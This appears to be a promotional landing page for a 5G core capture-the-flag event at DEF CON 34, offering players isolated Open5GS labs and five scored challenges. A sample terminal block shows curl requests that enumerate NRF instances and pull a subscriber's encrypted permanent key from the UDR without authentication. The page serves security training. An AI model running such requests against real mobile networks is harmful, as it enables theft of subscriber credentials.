DEF CON 34  ·  Telecom Village  ·  Aug 6–9

The Only CTF Where You Own a Live 5G Core.

Your own isolated Open5GS 5G SA environment — NRF, UDR, AMF, SMF, all 13 NFs — delivered over WireGuard in 60 seconds. No prior telecom experience. 5 real attack paths. 900 pts. Free.

Claim your core  →
Free  ·  Email sign-in, no password  ·  60 seconds
Prefer a throwaway address? mail.tm or temp-mail.org work fine.
50
Isolated cores
5
Real attack paths
900
Total points
60s
To your WG config
player@jumpbox — wg0: 10.99.x.x
# Step 1 — enumerate the 5G core's NRF (no OAuth2 required) $ curl -s --http2-prior-knowledge \ http://10.100.200.20:7777/nnrf-nfm/v1/nf-instances \ | python3 -m json.tool | grep nfType "nfType": "AMF" "nfType": "SMF" "nfType": "UDR" "nfType": "UDM" "nfType": "CHF" ← decoy # Step 2 — steal subscriber credentials from the UDR $ curl -s --http2-prior-knowledge \ http://10.100.200.50:7777/nudr-dr/v1/subscription-data/\ imsi-999700000000099/authentication-data/\ authentication-subscription | grep encPermanentKey "encPermanentKey": "3d70eb6d8bd4a1f29c72..." # Step 3 — submit your flag $ curl -s -X POST https://api.telcobreak.com/api/submit \ -H "Authorization: Bearer $TOKEN" \ -d '{"challenge":"CH2","flag":"TWIN{3d70eb6d8bd4...}"}' {"correct":true,"points":200} ▋
5 Challenges · MITRE FiGHT Mapped
CH1
Service Catalog
100 pts
FGT5006 · NRF Enum
CH2
Credential Theft
200 pts
FGT5013 · UDR K key
CH3
Slice Census
150 pts
FGT5019 · NSSF enum
CH4
Ghost Session
200 pts
FGT5004 · Default creds
CH5
Subscriber Harvest
250 pts
FGT5013 · SUPI disclosure
How it works
Step 1
📧
Sign in with email
One-time code. No password. No account. 60 seconds.
Step 2
⚡
Get your WireGuard config
Your dedicated 5G SA core spins up. Download .conf, connect.
Step 3
💀
Attack the SBI
No OAuth2. No auth gates. The core is yours to enumerate.
Step 4
🏆
Submit flags, claim points
5 challenges. 900 pts. Live leaderboard. Bragging rights.
DEF CON 34 Aug 6–9, 2026 · Las Vegas, NV
Telecom Village LVCC West Hall · 3150 Paradise Rd
50 isolated cores First come, first served
Workshop included No prior telecom experience needed
Claim your spot →